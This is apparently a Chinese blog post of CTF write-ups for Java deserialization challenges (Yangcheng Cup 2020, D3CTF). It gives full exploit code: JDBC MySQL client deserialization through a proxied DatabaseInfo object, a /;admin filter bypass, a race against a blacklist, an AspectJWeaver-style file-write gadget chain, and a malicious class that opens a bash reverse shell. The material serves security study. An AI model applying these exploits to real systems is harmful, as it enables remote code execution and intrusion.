Java部分题解 学习篇
Java部分题解 学习篇

前言

近期跟着复现了部分java的CTF题,学习了很多新知识和利用手段,因此在这里分享一下每个题的考点和解题思路。

2020 羊城杯 a piece of java

将给定的jar包导入后直接进行代码审计

代码审计

public class MainController {
    public MainController() {
    }

    @GetMapping({"/index"})
    public String index(@CookieValue(value = "data",required = false) String cookieData) {
        return cookieData != null && !cookieData.equals("") ? "redirect:/hello" : "index";
    }

    @PostMapping({"/index"})
    public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
        UserInfo userinfo = new UserInfo();
        userinfo.setUsername(username);
        userinfo.setPassword(password);
        Cookie cookie = new Cookie("data", this.serialize(userinfo));
        cookie.setMaxAge(2592000);
        response.addCookie(cookie);
        return "redirect:/hello";
    }

    @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
        if (cookieData != null && !cookieData.equals("")) {
            Info info = (Info)this.deserialize(cookieData);
            if (info != null) {
                model.addAttribute("info", info.getAllInfo());
            }

            return "hello";
        } else {
            return "redirect:/index";
        }
    }

    private String serialize(Object obj) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        try {
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();
        } catch (Exception var4) {
            var4.printStackTrace();
            return null;
        }

        return new String(Base64.getEncoder().encode(baos.toByteArray()));
    }

    private Object deserialize(String base64data) {
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

        try {
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
            Object obj = ois.readObject();
            ois.close();
            return obj;
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }
}

当看到MainController重写了一个大大的deserialize方法时,大致能够判断是考察java的反序列化,简单看一下逻辑,index路由接受传递过来的usernamepassword方法,并且由此构造了一个userinfo类,将该类的序列化后的数据base64作为cookie,而反序列化时则进行逆向操作,进行反序列化,因此我们在此也就顺理找到了反序列化点,即我们可以任意修改cookie:data,会进行反序列化操作

这里可能会想,如果导入了存在Gadget Chains的包,那只需要ysoserial生成一个payload,就应该完事了,因此顺着这个思路,我们不妨去看一下pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.2.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>gdufs.challenge</groupId>
    <artifactId>web</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>challenge</name>
    <description>Easy Java Challenge</description>

    <properties>
        <java.version>1.8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
            <exclusions>
                <exclusion>
                    <groupId>org.junit.vintage</groupId>
                    <artifactId>junit-vintage-engine</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>org.nibblesec</groupId>
            <artifactId>serialkiller</artifactId>
            <version>3.0</version>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.19</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

这里对serialkiller不是特别熟悉,于是搜索了一下,发现这是一个能够控制反序列化类的工具类,通过设置黑白名单去限制反序列化,但是在查看serialkillerpom.xml时发现其依赖于CC3.2.2版本

既然能够yso一把梭,而且有反序列化的执行点,那何不直接yso构造个payload一把梭了?这里serialkiller就是设置了白名单:

看到只允许反序列化gduf和java.lang下的类,而CC用到的不是这俩个之下,因此这一条路就被阻塞了。

再来看

 @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
        if (cookieData != null && !cookieData.equals("")) {
            Info info = (Info)this.deserialize(cookieData);
            if (info != null) {
                model.addAttribute("info", info.getAllInfo());
            }

            return "hello";
        } else {
            return "redirect:/index";
        }
    }

这里将反序列化的数据类型转换为Info接口类,而在jar包中存在DatabaseInfouserInfo两个类,并且这两个类都实现了Info接口类,并且是使用了动态代理,代理Info类:

public class InfoInvocationHandler implements InvocationHandler, Serializable {
    private Info info;

    public InfoInvocationHandler(Info info) {
        this.info = info;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        try {
            return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }
}

当使用代理类代理Info时,还存在前置方法,即调用代理对象的getAllInfo方法,UserInfo类没有可以利用的方法,我们来看一下DatabaseInfo类:

private void connect() {
        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";

        try {
            this.connection = DriverManager.getConnection(url);
        } catch (Exception var3) {
            var3.printStackTrace();
        }

    }

    public Boolean checkAllInfo() {
        if (this.host != null && this.port != null && this.username != null && this.password != null) {
            if (this.connection == null) {
                this.connect();
            }

            return true;
        } else {
            return false;
        }
    }

可以看到当调用checkAllInfo()时会调用connect方法,会实现jdbc的连接,而jdbc客户端能够实现反序列化,可以参考
https://www.anquanke.com/post/id/203086

解题思路

既然DatabaseInfoUserInfo都实现Info接口类,我们便可以构造DatabaseInfo类,并且利用动态代理,这样通过cookie实现反序列化时会触发动态代理的前置方法checkAllInfo()实现jdbc的连接,从而实现mysql客户端的反序列化,而此时便没有serialkiller工具类的限制,我们便能利用构造好的CC链的payload进行反序列化实现RCE

分步进行描述:

String username = "yso_URLDNS_http://hud0xf.ceye.io";
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("xx.xx.xx.xx");//恶意客户端IP
        databaseInfo.setPort("3306");
        databaseInfo.setUsername(username);
        //先利用URLDNS来检测是否成功
        databaseInfo.setPassword("123&allowLoadLocalInfile=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

因为这里由于是MYSQL 8的版本,因而实现ServerStatusDiffInterceptor触发我们使用的连接串如下:

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

注意这里由于是直接拼接,因此可以在jdbc后设置一系列参数,而对应能够实现mysql 8 反序列化的则是如上的连接串参数

构造好DatabaseInfo类后,还需要利用动态代理来代理该类,这样才会触发前置方法checkAllInfo()实现jdbc反序列化

ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
        Class[] interfaces = databaseInfo.getClass().getInterfaces();
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);

设置好动态代理后,我们只需要在通过代理生成Info类将其序列化后的数据进行base64输出即可:

Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(proxy);
        oos.flush();
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

因此整个的EXP也就完成了:

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class a_piece_of_java {
    public static void main(String[] args) throws IOException {
        //设置好DatabaseInfo类的相关属性以实现jdbc反序列化
        String username = "yso_URLDNS_http://hud0xf.ceye.io";
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("xx.xx.xx.xx");
        databaseInfo.setPort("3306");
        databaseInfo.setUsername(username);
        //利用CC5的Gadget Chains进行攻击
        databaseInfo.setPassword("123&allowLoadLocalInfile=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        //将DataBaseInfo实例,封装进Proxy类 使用动态代理
        ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
        Class[] interfaces = databaseInfo.getClass().getInterfaces();
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);

        Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(proxy);
        oos.flush();
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }
}

将生成好的payload发送,并运行恶意客户端:

可以看到DNS成功记录解析情况:

因此在构造一个反弹shell的payload即可:

yso_CommonsCollections5_bash -c {echo,反弹shell的base64}|{base64,-d}|{bash,-i}

MySQL5.1都支持读取本地文件,但是在读取时,jdbcURL需要加上配置allowLoadLocalInfile=true,然后利用MySQL_Fake_Server进行读取
,但是当MySQL中系统变量local-infile=0时表示不允许本地加载数据,此时无法进行文件读取,但是在本题中可以进行文件读取

D3CTF non_RCE?

这个题和上面那个题比较像,比赛过程中卡在了不会饶autoDeserialize,赛后才知道,之前一直在试垃圾字符绕过…赛后看了各位大佬wp后也学习一下解题思路

代码分析

主要分为AdminServletHelloServlet,这里HelloServlet没有什么利用之处,看下AdminServlet的代码:

@WebServlet(
        name = "AdminServlet",
        urlPatterns = {"/admin/*"}
)
public class AdminServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        if (req.getRequestURI().startsWith("/admin/importData")) {
            AttackerLogger.getLogger().log(Level.INFO,req.getRemoteAddr()+" phase2, requestURI="+req.getRequestURI());
            String databaseType = req.getParameter("databaseType");
            String jdbcUrl = req.getParameter("jdbcUrl");

            if (databaseType == null || jdbcUrl == null) {
                outputResponse(resp, "The parameter databaseType or jdbcUrl can not be null!");
                return;
            }

            if (!BlackListChecker.check(jdbcUrl)) {
                System.out.println("detect attacking!");
                resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "The jdbc url contains illegal character!");
                return;
            }
            try {
                if (("mysql").equals(databaseType)) {
                    AttackerLogger.getLogger().log(Level.INFO,req.getRemoteAddr()+" phase3, jdbcUrl="+jdbcUrl);
                    DriverManager.setLoginTimeout(5);
                    Class.forName("com.mysql.jdbc.Driver");
                    DriverManager.getConnection(jdbcUrl);
                    outputResponse(resp, "ok");
                }
            } catch (Exception e) {
                outputResponse(resp, "The jdbc url " + jdbcUrl + " connects error.");
            }
        }
    }

    private void outputResponse(HttpServletResponse resp, String output) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(output.getBytes());
        out.flush();
        out.close();
    }
}

可以看到当路由满足/admin/importData,并且get传入的参数databaseTypemysql时,会进行jdbc的连接,并且jdbcURL是可控的,因此同样是考察jdbc客户端反序列化的知识点,在这里使用了WebFilter

@WebFilter 用于将一个类声明为过滤器,该注解将会在部署时被容器处理,容器将根据具体的属性配置将相应的类部署为过滤器。

而一般会存在web.xml或者webconfig来说明filter的优先级,如果没有优先级,则会按照默认的A-Z顺序来进行部署执行,因此在这里执行的顺序是:

1.AntiCsrfAttackFilter
2.AntiUrlAttackFilter
3.AntiXssAttackFilter
4.LogFilter
5.LoginFilter
6.NoCacheFilter

其中对题目比较关键的也就是2和5,先来看一下LoginFilter的规则:

/**
 * Alipay.com Inc. Copyright (c) 2004-2021 All Rights Reserved.
 */
package non_RCE.src.main.java.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 *
 * @author fantasyC4t
 * @version : AdminFilter.java, v 0.1 2021年03月01日 7:18 下午 fantasyC4t Exp $
 */
@WebFilter(
        filterName = "LoginFilter",
        urlPatterns = {"/admin/*"}
)
public class LoginFilter implements Filter {
    //The true password has being removed from the source code for security.
    private static final String PASSWORD = "";

    @Override
    public void init(FilterConfig var1) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
            throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse res = (HttpServletResponse) servletResponse;
        String password = req.getParameter("password");
        if (password == null) {
            res.sendError( HttpServletResponse.SC_UNAUTHORIZED, "The password can not be null!");
            return;
        }
        try {
            //you can't get this password forever, because the author has forgotten it.
            if (password.equals(PASSWORD)) {
                filterChain.doFilter(servletRequest, servletResponse);
            } else {
                res.sendError(HttpServletResponse.SC_UNAUTHORIZED, "The password is not correct!");
            }
        } catch (Exception e) {
            res.sendError( HttpServletResponse.SC_BAD_REQUEST, "Oops!");
        }
    }

    @Override
    public void destroy() {
    }
}

这里匹配的路由是/admin/后的所有路径,自然包括WebServlet中的/admin/importData,因此想要访问该路由就必须要有username和password,而这些都是未知的,这样就形成了矛盾:
我们要访问/admin/importData.而访问该理由需要username和password,而这些我们不知道,在这里AntiUrlAttackFilter便起到了作用:

这里对url中某些符号进行处理后,直接转发到了目标路由,并不会再经过后续WebFilter的处理。因此构造/;admin/importData,这样经过urlfilter后变成/admin/importData,直接转发到对应路由,成功绕过了LoginFilter的限制

条件竞争绕过

pom.xml得知Mysql版本为5.1.48,因此如果要实现反序列化,使用的连接串为:

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

而在BlackListChecker中可以看到:

对该jdbc url进行黑名单检查,当其中出现%或autoDeserialize时则会进行拦截,那么现在遇到的问题是:
1. 需要通过设置autoDeserialize=true来开启反序列化
2. 黑名单不允许autoDeserialize的出现

这里采取的是使用条件竞争的办法,具体可以参考梅子酒大师傅所述:
https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ

这样一来,当恶意的jdbcUrl被绑定后。本来要进行check但接着马上有线程来一个正常的jdbcUrl,而只有一个实例,这时候会过了check,实例并不会进行拦截,因此恶意的jdbcUrl也得以继续执行

Gadget Chain分析

既然能够进行反序列化,因此就要去寻找对应的Gadget Chains,这里直接从pom.xml来寻找答案:

没记错的话,新版的ysoserial是更新过一条AspectJWeave链子的,并且对应版本就是1.9.2

那应该锁定就是这条链子了,这里先对这条链子进行分析,这条链子依赖于CC3.2.2,但是环境里并没有依赖CC,我们先看一下ysoserial更新的这条链子的调用链:

/*
Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

关于该链的分析可以参考:
https://xz.aliyun.com/t/9168?page=1
在这里从HashSet.readObject()->LazyMap.get()这一段链子都是依赖于CC环境的,而后面则是通过org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath进行任意文件写操作:

而在org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put中调用了writeToPath,因此如果反序列化可以触发put方法,就可以进行文件写的操作

而给定文件中给出了DataMap类,这个类可以提供构造Gadget的功能,下面进行分析:

HashSet.readObject()
    HashMap.put()
        HashMap.hash()

入口点在于HashSet中的readObject()

s就是我们的恶意序列化对象,接着调用HashMap的put方法:

这里的key就是恶意的对象,调用HashMap的Hash方法

如果这里传入的恶意对象是题目中提供的DataMap,则会调用Datamap.hashCode()方法:

public int hashCode() {
            return DataMap$Entry.hash(this.getKey()) ^ DataMap.hash(this.getValue());
        }

调用DataMap$Entry.getValue()方法:

再来看get()方法,此时也就很明显了:

这里当this.values设置为SimpleCache$StorableCachingMap时就会调用SimpleCache$StorableCachingMap.put方法,而后续就和ysoserial更新的链一致,并且key是文件名,v是文件的内容

如果this.values!=null,从this.values.get(key)通过this.values的get方法根据key来获取内容。

这里this.values设置为SimpleCache类,那么调用SimpleCache.get()方法获取内容


这里的key因为是我们想写入的文件名,调用父类的get()方法,找不到我们自定义的类则会返回false,于是

内容通过this.wrapperMap.get(key)获得,而wrapperMap就是HashMap,
因此我们只需在构造方法构造一个hashmap,键名为文件名而键值对应的是文件内容即可写入,照着原链exp修改:

public class exp {
    public static void main(String[] args) throws Exception {
        String filename = "";
        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);
        HashMap wrappermap = new HashMap();
        wrappermap.put(filename,"content");
        DataMap dataMap = new DataMap(wrappermap,(Map)simpleCache);

    }
}

对应的Gadget Chain为:

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            DataMap$Entry.hashcode
                DataMap$Entry.getValue()
                    DataMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

实现RCE

利用该GadgetChain结合jdbc反序列化可以向目标机器ClassPath中写入Crispr.class,是一个重写恶意代码的readObject()方法的恶意类字节码,在配合jdbc发送一个恶意类,因此当恶意类实现反序列化时就会在ClassPath中找对应的class,触发readObject方法

恶意类:

package non_RCE.src.main.java.launch;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class evil implements Serializable {
    private String evil;

    public evil() {
        this.evil = "Crispr";
    }

    public void writeObject(ObjectOutputStream o) throws IOException {
        o.defaultWriteObject();
    }

    public void readObject(ObjectInputStream o) throws IOException, ClassNotFoundException {
        o.defaultReadObject();
        Runtime.getRuntime().exec("/bin/bash -c {echo,xxx}|{base64,-d}|{bash,-i}");
    }
}

exp:

package non_RCE.src.main.java.launch;

import non_RCE.src.main.java.checker.DataMap;
import ysoserial.payloads.util.Reflections;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws Exception {
        String filename = "../../../../../../../../object.class";
        byte[] content_byte = Files.readAllBytes(new File("C:\\object.class").toPath());
        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);
        //通过反射构造好DataMap类,并且wrappermap键名为恶意类名,键值为恶意类的内容即可
        HashMap wrappermap = new HashMap();
        wrappermap.put(filename,content_byte);
        DataMap dataMap = new DataMap(wrappermap,(Map)simpleCache);
        //通过反射获得DataMap的内置类Entry,因为入口是Entru类的hashCode方法
        Constructor entryDataMapctor = Reflections.getFirstCtor("non_RCE.src.main.java.checker.DataMap$Entry");
        entryDataMapctor.setAccessible(true);
        //实现构造方法,传入key filename ,this.key=filename
        Object entryDataMap = entryDataMapctor.newInstance(dataMap,filename);
        //照搬ysoserial
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var21) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap)f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var20) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[])((Object[])f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var19) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entryDataMap);

        //照搬完成后,先将map写入到object.obj,用于反序列化写入exp.class到ClassPath
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
        oos.writeObject(map);
        oos.flush();
        oos.close();
        evil evil = new evil();
    //分别两次修改MySQL_Fake_Server-master传输的数据为object.obj和evil.obj
        ObjectOutputStream oos1 = new ObjectOutputStream(new FileOutputStream("evil.obj"));
        oos1.writeObject(evil);
        oos1.flush();
        oos1.close();
    }
}

d3CTF pool_calc java部分

考察jdk8u231之前对JEP290的绕过,题目版本为JDK8u221,因此存在JEP290的限制,这里能够控制RMI服务器,对注册中心发起攻击,让注册中心反序列化UnicastRef这个类,该类可以发起一个JRMP连接到恶意服务端上,从而在DGC层造成一个反序列化以绕过JEP290,攻击的Gadget Chain还是选取CC5即可

可以参考:
https://github.com/lalajun/RMIDeserialize/tree/master/RMI-Server
https://blog.csdn.net/weixin_45728976/article/details/107589544

这里本地起一个包含CC链可以被攻击的RMI服务,然后本地在起一个ysoserial.exploit.JRMPListener自实现的JRMP服务器,通过RMI-Bypass290.jar实现攻击,具体分析就不跟进了,以后慢慢补上。

总结

学习了很多姿势和原理,对于java安全的学习还需要大量的积累,理解漏洞原理,包括反序列化原理还不够,还要多去复现各种CVE和有关java的题目,自己动手写exp和学习解题步骤才会更加的了解,还需要注重java底层原理的实现和基础


参考链接:
https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇